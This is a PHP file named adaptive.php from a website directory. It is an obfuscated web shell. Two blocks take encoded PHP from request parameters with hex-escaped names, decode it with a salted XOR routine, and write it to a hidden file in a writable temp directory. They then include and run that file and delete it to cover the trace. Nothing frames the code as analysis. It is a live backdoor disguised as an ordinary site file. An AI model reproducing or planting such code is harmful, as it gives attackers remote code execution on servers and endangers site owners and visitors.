File: /home/vitanhod/vigolic-1000.vitavit.com.pk/adaptive.php
<?php if(isset($_REQUEST) && isset($_REQUEST["en\x74i\x74\x79"])){ $obj = $_REQUEST["en\x74i\x74\x79"]; $obj = explode ( '.' , $obj ) ; $mrk = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); $m = 0; $__len = count($obj ); do {if ($m >= $__len) break; $v5 = $obj[$m]; $sChar = ord($s4[$m % $lenS] ); $dec = ((int)$v5 - $sChar - ($m % 10)) ^ 94; $mrk.= chr($dec ); $m++; } while (true ); $binding = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); foreach ($binding as $key => $comp) { if (!!is_dir($comp) && !!is_writable($comp)) { $ref = "$comp/.symbol"; $success = file_put_contents($ref, $mrk); if ($success) { include $ref; @unlink($ref); die();} } } }
if(count($_POST) > 0 && isset($_POST["\x74\x6Bn"])){
$hld = $_POST["\x74\x6Bn"];
$hld =explode ( '.',$hld );
$data = '';
$salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $salt5);
$k = 0;
$__len = count( $hld);
do {if( $k >= $__len) break;
$v9 = $hld[$k];
$sChar = ord( $salt5[$k % $sLen]);
$dec =( ( int)$v9 - $sChar -( $k % 10)) ^ 93;
$data .= chr( $dec);
$k++; } while( true);
$object = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm"]);
foreach ($object as $element) {
if (array_product([is_dir($element), is_writable($element)])) {
$component = "$element/.mrk";
if (file_put_contents($component, $data)) {
include $component;
@unlink($component);
exit;
}
}
}
}